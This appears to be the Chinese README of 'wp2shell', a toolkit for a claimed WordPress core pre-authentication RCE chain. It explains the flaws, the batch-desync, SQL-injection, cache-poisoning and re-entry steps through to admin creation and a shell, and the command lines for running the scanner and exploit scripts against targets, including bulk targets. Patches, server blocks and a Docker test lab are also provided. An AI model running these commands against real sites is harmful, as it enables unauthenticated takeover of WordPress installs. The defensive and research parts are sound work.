
wp2shell — WordPress Core Pre-Auth RCE (CVE-2026-63030 + CVE-2026-60137). Exploit toolkit + remediation.
CVE-2026-63030(批量路由混乱,CVSS 7.5)+ CVE-2026-60137(SQL 注入,CVSS 9.1)
WordPress 核心中的预认证远程代码执行链,无需插件、无需特殊配置,在默认安装即可生效。
| 版本范围 | 影响 | 修复版本 |
|---|---|---|
| WordPress 7.0.0 – 7.0.1 | 完全 RCE | 7.0.2 |
| WordPress 6.9.0 – 6.9.4 | 完全 RCE | 6.9.5 |
| WordPress 6.8.0 – 6.8.5 | 仅 SQL 注入 | 6.8.6 |
前提条件: 无持久对象缓存(Redis/Memcached)。这对于绝大多数 WordPress 安装是默认配置。
该利用链结合了两个漏洞:
REST API 批量路由混乱 — 批量子请求中的畸形路径导致 wp_parse_url() 返回 false,产生 WP_Error,进而使 $matches[] 和 $requests[] 数组不同步。后续请求被分派到错误的处理程序,从而绕过认证。
WP_Query 中的 SQL 注入 — 当 author__not_in 以字符串(而非数组)形式传入时,absint() 净化被跳过,原始值直接插入到 SQL WHERE 子句中。
结合 WordPress 的 oEmbed 缓存系统(写原语)、自定义器变更自动发布(权限提升)以及 REST API 重入(特权分派),实现了未经身份验证的代码执行。
wp2shell/
├── README.md ← 本文件
│
├── wp2shell-exploit/ ← 利用工具
│ ├── exploit.py # 完整预认证 RCE(无需密码破解)
│ ├── exploit_hash.py # 哈希提取 + 认证后 RCE
│ ├── detect.py # 非破坏性漏洞扫描器
│ └── README.md
│
├── wp2shell-patch/ ← 修复方案
│ ├── patch.sh # 源代码补丁(与官方修复一致)
│ ├── wp2shell-shield.php # 即插即用的 mu-plugin(30 秒部署)
│ ├── block-batch.conf # Nginx 缓解措施
│ ├── block-batch.htaccess # Apache 缓解措施
│ └── README.md
│
├── docker-compose.yml # 脆弱测试环境(WP 7.0.1)
└── Dockerfile.debug # 启用 XDebug 的研究镜像
WordPress 源代码未包含在内。请从 https://wordpress.org/download/releases/ 下载(7.0.1 为脆弱版本,7.0.2 为已修复版本)。
cd wp2shell-exploit
# 单个目标
python3 detect.py https://target.example
# 带 SQL 注入计时确认
python3 detect.py https://target.example --confirm-sqli
# 从文件批量扫描
python3 detect.py targets.txt -q
# 完整预认证 RCE(推荐 — 无需密码破解)
python3 exploit.py https://target.example -c "id"
# 仅通过盲注提取数据
python3 exploit.py https://target.example "SELECT user_login FROM wp_users LIMIT 1"
# 替代方法:提取哈希 + 破解 + 认证后 RCE
python3 exploit_hash.py https://target.example
# 然后破解后:
python3 exploit_hash.py https://target.example --user admin --pass cracked_pw -c "id"
cd wp2shell-patch
# 选项 1:即插即用插件(最快,无需重启)
cp wp2shell-shield.php /path/to/wordpress/wp-content/mu-plugins/
# 选项 2:Web 服务器拦截
# Nginx:在 server 块中包含 block-batch.conf
# Apache:将 block-batch.htaccess 前置到 .htaccess
# 选项 3:源代码补丁(完整修复)
sudo bash patch.sh /path/to/wordpress
# 最佳选项:直接更新 WordPress
wp core update # 或 仪表盘 → 更新
┌─────────────────────────────┐
│ 匿名 HTTP 请求 │
│ POST /?rest_route=/batch/v1 │
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ 批量不同步(外层) │
│ 畸形路径 → WP_Error │
│ $matches[] 数组移位 │
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ 窃取 /batch/v1 处理程序 │
│ (无 permission_callback!) │
│ → 嵌套批量执行 │
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ 批量不同步(内层) │
│ GET 方法现在允许 │
│ author_exclude 未净化 │
└──────────────┬──────────────┘
│
┌────────────────────┼────────────────────┐
│ │ │
┌──────────▼──────────┐ ┌──────▼──────┐ ┌──────────▼──────────┐
│ 阶段 1: oEmbed │ │ 阶段 2: │ │ 阶段 3: 权限提升 │
│ UNION SELECT 伪造 │ │ 盲注提取 ID │ │ 缓存投毒 + │
│ 含 [embed] 的帖子 │ │ + 管理员 ID│ │ 变更发布 │
│ → WP 创建缓存 │ │ │ │ → wp_set_current_ │
│ 帖子(写原语) │ │ │ │ user(admin) │
└─────────────────────┘ └─────────────┘ └──────────┬──────────┘
│
┌──────────────▼──────────────┐
│ 重入 │
│ parse_request 触发 │
│ serve_request() 重入 │
│ → 现在以管理员身份运行! │
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ POST /wp/v2/users │
│ 创建新管理员 │
│ → 登录 → 插件 → 外壳 │
└─────────────────────────────┘
WordPress 6.9.5 / 7.0.2 应用了三个修复,每个都打破了利用链中的一个环节:
WordPress 7.0.2 额外移除了协作功能(纵深防御)。
# 启动脆弱的 WordPress 7.0.1
docker compose up -d
# 等待 MySQL 初始化,然后安装
curl -s "http://localhost:8888/wp-admin/install.php?step=2" \
--data-urlencode "weblog_title=Test" \
--data-urlencode "user_name=admin" \
--data-urlencode "admin_password=TestPassword123" \
--data-urlencode "admin_password2=TestPassword123" \
--data-urlencode "[email protected]" \
--data-urlencode "blog_public=0" \
--data-urlencode "Submit=Install WordPress"
# 利用
python3 wp2shell-exploit/exploit.py http://localhost:8888 -c "id"
# 清理
docker compose down
本仓库仅供授权的安全研究、渗透测试和教育目的使用。仅在你拥有或获得明确书面许可的系统上使用。
| 修复 | 文件 | 效果 |
|---|
| 数组对齐 | class-wp-rest-server.php | 为 WP_Error 条目添加 $matches[] = $single_request — 防止不同步 |
| 重入防护 | class-wp-rest-server.php + rest-api.php | if ($this->is_dispatching()) return false — 防止嵌套 serve_request |
| SQL 净化 | class-wp-query.php | 始终应用 wp_parse_id_list() — 防止注入 |